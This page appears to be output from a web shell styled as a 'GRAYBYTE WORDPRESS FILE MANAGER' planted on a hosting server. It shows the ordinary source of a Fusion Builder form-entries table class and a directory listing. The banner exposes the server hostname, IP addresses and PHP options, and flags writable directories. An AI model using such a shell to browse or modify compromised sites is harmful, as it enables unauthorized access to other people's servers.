✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ webm004.cluster127.gra.hosting.ovh.net ​🇻​♯➤ 6.18.42-ovh-vps-grsec-zfs+ #1 SMP 🇾​♯➤ 2026

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 54.36.91.62 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.108
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ _dyuweyrj4,_dyuweyrj4r,dl

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/docteuh/www/plugins/fusion-builder/inc//class-fusion-form-list-table.php
<?php
/**
 * Handles the data table creation for form entries.
 *
 * @package fusion-builder
 * @since 3.1
 */

// WP_List_Table is not loaded automatically so we need to load it in our application.
if ( ! class_exists( 'WP_List_Table' ) ) {
	require_once ABSPATH . 'wp-admin/includes/class-wp-list-table.php';
}

/**
 * Create a new table class that will extend the WP_List_Table.
 */
class Fusion_Form_List_Table extends WP_List_Table {

	/**
	 * Form ID.
	 *
	 * @since 3.1
	 * @var array
	 */
	public $form_id = [];

	/**
	 * Data columns.
	 *
	 * @since 3.1
	 * @var array
	 */
	public $columns = [];

	/**
	 * Form Fields.
	 *
	 * @since 3.1
	 * @var array
	 */
	public $form_fields = [];

	/**
	 * Form sumissions data.
	 *
	 * @since 3.1
	 * @var array
	 */
	public $form_submissions = [];

	/**
	 * No entries text.
	 *
	 * @since 3.1
	 * @var string
	 */
	public $no_entries_text;

	/**
	 * Form field names.
	 *
	 * @since 3.6
	 * @var array
	 */
	public $field_names = [];

	/**
	 * Form field labels.
	 *
	 * @since 3.6
	 * @var array
	 */
	public $field_labels = [];

	/**
	 * Flag for if labels are valid or not. Labels are valid if there are no duplicates or missing labels.
	 *
	 * @since 3.6
	 * @var bool|null
	 */
	public $are_labels_valid = null;

	/**
	 * Class constructor.
	 *
	 * @since 3.1
	 * @access public
	 * @param array $form_id Form id.
	 */
	public function __construct( $form_id ) {
		parent::__construct();
		$this->form_id     = $form_id;
		$fusion_forms      = new Fusion_Form_DB_Forms();
		$this->form_fields = $fusion_forms->get_form_fields( $this->form_id );

		// Get all field names and not empty labels.
		foreach ( $this->form_fields as $key => $field_object ) {

			$this->field_names[] = $field_object->field_name;

			// Use field name if label is empty, for example hidden fields.
			if ( isset( $field_object->field_label ) && '' !== $field_object->field_label ) {
				$this->field_labels[] = $field_object->field_label;
			}
		}

		// Use labels if all fields have unique labels, otherwise use field names.
		$this->columns = $this->are_labels_valid() ? $this->field_labels : map_deep( $this->field_names, 'Fusion_Builder_Form_Helper::fusion_name_to_label' );

		// We don't need all.
		$this->columns = array_slice( $this->columns, 0, 7 );

		// Add actions column at the end.
		if ( 0 !== count( $this->form_fields ) ) {
			array_push( $this->columns, 'Actions' );
		}

		$this->no_entries_text = __( 'No form entries submitted yet.', 'fusion-builder' );
	}

	/**
	 * Prepare the items for the table to process.
	 *
	 * @since 3.1
	 * @access public
	 * @param int $per_page     number of items per page.
	 * @param int $current_page Current page.
	 * @return void
	 */
	public function prepare_items( $per_page = 15, $current_page = 0 ) {
		$submissions = new Fusion_Form_DB_Submissions();
		$columns     = $this->get_columns();

		if ( 0 === $current_page ) {
			$current_page = $this->get_pagenum();
		}

		$submission_args = [
			'where'    => [ 'form_id' => (int) $this->form_id ],
			'order by' => 'id DESC',
		];

		// If we want small section, limit query.
		if ( 1 < $per_page ) {
			$submission_args['limit']  = $per_page;
			$submission_args['offset'] = absint( ( $current_page - 1 ) * $per_page );
		}

		// Get submissions.
		$this->form_submissions = $submissions->get( $submission_args );
		$data                   = $this->table_data();
		$hidden                 = $this->get_hidden_columns();
		$sortable               = $this->get_sortable_columns();
		// Check the form submission type.
		$fusion_forms = new Fusion_Form_DB_Forms();
		$forms        = $fusion_forms->get_formatted();

		// Count number of entries.
		$result      = $submissions->get(
			[
				'what'  => 'COUNT(id) AS count',
				'where' => [ 'form_id' => (int) $this->form_id ],
			]
		);
		$total_items = isset( $result[0] ) ? $result[0]->count : 0;

		$this->set_pagination_args(
			[
				'total_items' => $total_items,
				'per_page'    => $per_page,
			]
		);

		$this->_column_headers = [ $columns, $hidden, $sortable ];
		$this->items           = $data;
	}

	/**
	 * Override the parent columns method. Defines the columns to use in your listing table.
	 *
	 * @since 3.1
	 * @access public
	 * @return array
	 */
	public function get_columns() {
		return $this->columns;
	}

	/**
	 * Define which columns are hidden
	 *
	 * @since 3.1
	 * @access public
	 * @return array
	 */
	public function get_hidden_columns() {
		return [];
	}

	/**
	 * Define the sortable columns
	 *
	 * @since 3.1
	 * @access public
	 * @return array
	 */
	public function get_sortable_columns() {
		return [];
	}

	/**
	 * Get the table data.
	 *
	 * @since 3.1
	 * @access public
	 * @return array
	 */
	private function table_data() {

		$data           = [];
		$form_entries   = [];
		$fusion_entries = new Fusion_Form_DB_Entries();

		foreach ( $this->form_submissions as $submission ) {
			$form_entries[ $submission->id ] = $fusion_entries->get(
				[
					'where' => [ 'submission_id' => $submission->id ],
				]
			);
		}

		foreach ( $form_entries as $key => $entries ) {

			$entries = (array) $entries;

			foreach ( $entries as $entry ) {

				$entry = (array) $entry;

				if ( isset( $this->form_fields[ $entry['field_id'] ] ) ) {
					$field_label = $this->are_labels_valid() ? $this->form_fields[ $entry['field_id'] ]->field_label : Fusion_Builder_Form_Helper::fusion_name_to_label( $this->form_fields[ $entry['field_id'] ]->field_name );

					$data[ $key ][ $field_label ] = esc_html( $entry['value'] );
				}
			}

			if ( ! isset( $data[ $key ] ) ) {
				$data[ $key ] = [];
			}

			// Add actions column at the end.
			$data[ $key ]['Actions'] = $this->column_actions( $data[ $key ], $key );
		}

		return $data;
	}

	/**
	 * Define what data to show on each column of the table
	 *
	 * @since 3.1
	 * @access public
	 * @param  array  $item        Data.
	 * @param  string $column_id - Current column id.
	 * @return string
	 */
	public function column_default( $item, $column_id ) {
		$column_name = $this->columns[ $column_id ];
		$value       = isset( $item[ $column_name ] ) ? $item[ $column_name ] : '';
		$value       = $this->format_column_data( $value );

		return $value;
	}

	/**
	 * Display button with link to display all form fields in popup.
	 *
	 * @since 3.1
	 * @access public
	 * @param  array $entry Singhe entry data.
	 * @param  int   $key   Singhe entry key.
	 * @return string
	 */
	public function column_actions( $entry, $key ) {

		$submissions_obj = new Fusion_Form_DB_Submissions();
		$html            = '<div class="row-actions fusion-form-entries">';
		$html           .= '<span class"view_details"><a href="#" onclick="jQuery(\'.single-entry-' . $key . '\').toggleClass( \'hidden\' ); return false;">' . __( 'View All Details', 'fusion-builder' ) . '</a></span>';

		if ( AWB_Access_Control::wp_user_can_for_post( 'fusion_form', 'delete_others_posts' ) ) {
			$html .= '<span class="trash"> | <a href="#" class="fusion-remove-form-entry" data-key="' . $key . '">' . __( 'Delete', 'fusion-builder' ) . '</a></span>';
		}

		$html .= '</div>';
		$html .= '<div class="single-entry-' . $key . ' fusion-form-single-entry-popup-overlay hidden" onclick="jQuery(\'.single-entry-' . $key . '\').toggleClass( \'hidden\' ); return false;"></div>';
		$html .= '<div class="single-entry-' . $key . ' fusion-form-single-entry-popup hidden">';
		$html .= '<a href="#" onclick="jQuery(\'.single-entry-' . $key . '\').toggleClass( \'hidden\' ); return false;" class="single-entry-' . $key . ' dashicons dashicons-no-alt fusion-form-single-entry-popup-close hidden"></a>';
		$html .= '<div class="fusion-form-single-entry-popup-inner">';

		foreach ( $entry as $label => $value ) {
			$html .= '<div class="fusion-form-single-entry">';
			$html .= '<div class="fusion-form-single-entry-label">';
			$html .= $label;
			$html .= '</div>';
			$html .= '<div class="fusion-form-single-entry-value">';
			$html .= $this->format_column_data( $value );
			$html .= '</div>';
			$html .= '</div>';
		}

		$submissions = $submissions_obj->get(
			[
				'where' => [ 'id' => (int) $key ],
			]
		);

		if ( isset( $submissions[0] ) ) {

			// remove form DB ID.
			unset( $submissions[0]->form_id );

			// remove is_read (we don't use it for now).
			unset( $submissions[0]->is_read );

			// remove serialized data (we don't use it for now).
			$submission_data = $submissions[0]->data;
			if ( ! is_string( $submission_data ) ) {
				$submission_data = '';
			}
			$data = json_decode( $submission_data, true );

			if ( ( ! JSON_ERROR_NONE === json_last_error() || 'NULL' !== $data ) && ! ( isset( $data['hubspot_response'] ) || isset( $data['email_errors'] ) || isset( $data['mailchimp_response'] ) ) ) {
				unset( $submissions[0]->data );
			}
		}

		$html .= '<div class="fusion-form-single-entry fusion-form-single-entry-submission-meta">';
		$html .= '<h3>' . __( 'Additional Information', 'fusion-builder' ) . '</h3>';
		$html .= '</div>';

		foreach ( $submissions[0] as $label => $value ) {
			if ( 'data' === $label && is_array( $data ) ) {
				foreach ( $data as $data_label => $data_value ) {
					$html .= $this->column_data( $data_label, $data_value );
				}
			} else {
				$html .= $this->column_data( $label, $value );
			}
		}

		$html .= '</div>';
		$html .= '</div>';

		return $html;
	}

	/**
	 * Formats column data.
	 *
	 * @since 3.8
	 * @access public
	 * @param  string $value Column value.
	 * @return string
	 */
	public function format_column_data( $value ) {

		$values = explode( ' | ', $value );

		if ( 1 < count( $values ) && false === strpos( $value, 'fusion-form-entries' ) ) {
			foreach ( $values as $index => $value ) {
				if ( ! filter_var( $value, FILTER_VALIDATE_URL ) ) {
					$values[ $index ] = esc_html( $value );
				} else {
					$values[ $index ] = '<a href="' . esc_url_raw( $value ) . '" target="_blank">' . esc_html( $value ) . '</a>';
				}
				$value = implode( ' | ', $values );
			}
		} elseif ( filter_var( $value, FILTER_VALIDATE_URL ) ) {
			$value = '<a href="' . esc_url_raw( $value ) . '" target="_blank">' . esc_html( $value ) . '</a>';
		}

		return $value;
	}

	/**
	 * Adds column data.
	 *
	 * @since 3.1
	 * @access public
	 * @param  string $label Row label.
	 * @param  string $value Row value.
	 * @return string
	 */
	public function column_data( $label, $value ) {
		$label = 'id' === $label ? __( 'Submission Id', 'fusion-builder' ) : $label;
		$label = 'hubspot_response' === $label ? __( 'HubSpot Response', 'fusion-builder' ) : $label;
		$label = 'email_errors' === $label ? __( 'Email Errors', 'fusion-builder' ) : $label;
		$label = 'mailchimp_response' === $label ? __( 'MailChimp Response', 'fusion-builder' ) : $label;

		$html  = '<div class="fusion-form-single-entry">';
		$html .= '<div class="fusion-form-single-entry-label">';
		$html .= ucwords( str_replace( '_', ' ', $label ) );
		$html .= '</div>';
		$html .= '<div class="fusion-form-single-entry-value">';
		$html .= esc_html( $value );
		$html .= '</div>';
		$html .= '</div>';

		return $html;
	}

	/**
	 * Display custom text if no form entries are submitted.
	 *
	 * @since 3.1
	 * @access public
	 * @return void
	 */
	public function no_items() {
		echo esc_html( $this->no_entries_text );
	}

	/**
	 * Checks if labels for all fields are populated and there are no duplicates.
	 *
	 * @since 3.6
	 * @access protected
	 * @return bool
	 */
	protected function are_labels_valid() {

		if ( null === $this->are_labels_valid ) {
			$this->are_labels_valid = count( $this->field_names ) === count( $this->field_labels ) && count( array_unique( $this->field_labels ) ) === count( $this->field_labels );
		}

		return $this->are_labels_valid;
	}
}


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
27 Aug 2026 4.59 AM
docteuh / users
0755
admin-screens
--
26 Aug 2026 4.27 AM
docteuh / users
0755
critical-css
--
26 Aug 2026 4.27 AM
docteuh / users
0755
helpers
--
26 Aug 2026 4.27 AM
docteuh / users
0755
i18n
--
26 Aug 2026 4.27 AM
docteuh / users
0755
importer
--
26 Aug 2026 4.27 AM
docteuh / users
0755
lib
--
26 Aug 2026 4.27 AM
docteuh / users
0755
options
--
26 Aug 2026 4.27 AM
docteuh / users
0755
templates
--
26 Aug 2026 4.27 AM
docteuh / users
0755
woocommerce
--
26 Aug 2026 4.27 AM
docteuh / users
0755
bootstrap-compat.php
1.404 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
bootstrap.php
4.005 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-awb-access-control.php
18.099 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-awb-clone-posts.php
6.39 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-awb-demo-import.php
9.663 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-awb-layout-conditions.php
8.299 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-awb-nav-walker.php
62.024 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-awb-off-canvas-admin.php
6.993 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-awb-off-canvas-front-end.php
34.571 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-awb-off-canvas-table.php
11.708 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-awb-off-canvas.php
8.525 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-awb-studio-admin.php
15.814 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-awb-studio-remove.php
3.5 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-awb-studio.php
10.903 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-awb-woo-filters.php
20.748 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-builder-admin.php
29.584 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-builder-dynamic-css.php
7.231 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-builder-element-helper.php
13.69 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-builder-gutenberg.php
15.266 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-builder-library-table.php
15.083 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-builder-library.php
73.326 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-builder-options-panel.php
6.718 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-builder-options.php
5.465 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-builder-redux.php
1.899 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-builder-woocommerce.php
6.141 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-column-element.php
121.79 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-component.php
5.263 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-custom-icons-table.php
10.904 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-dummy-post.php
3.055 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-dynamic-data-callbacks.php
54.171 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-dynamic-data.php
78.321 KB
20 Nov 2023 7.14 PM
docteuh / users
0644
class-fusion-element.php
15.557 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-elements-dynamic-css.php
1.495 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-form-builder-table.php
14.449 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-form-builder.php
28.184 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-form-db-entries.php
2.205 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-form-db-fields.php
2.8 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-form-db-forms.php
7.889 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-form-db-install.php
7.239 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-form-db-items.php
4.778 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-form-db-privacy.php
15.198 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-form-db-submissions.php
1.75 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-form-db.php
2.374 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-form-export-single-form.php
3.647 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-form-list-table.php
11.473 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-form-submit.php
39.319 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-form-widget.php
4.028 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-hubspot.php
52.925 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-languages-updater-api.php
6.472 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-mailchimp.php
36.697 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-row-element.php
6.404 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-template-builder-table.php
12.915 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-template-builder.php
106.724 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-woo-component.php
12.091 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
class-fusion-woo-products-component.php
24.309 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
helpers.php
97.462 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
shortcodes.php
12.617 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
templates.php
2.423 KB
20 Nov 2023 7.12 PM
docteuh / users
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF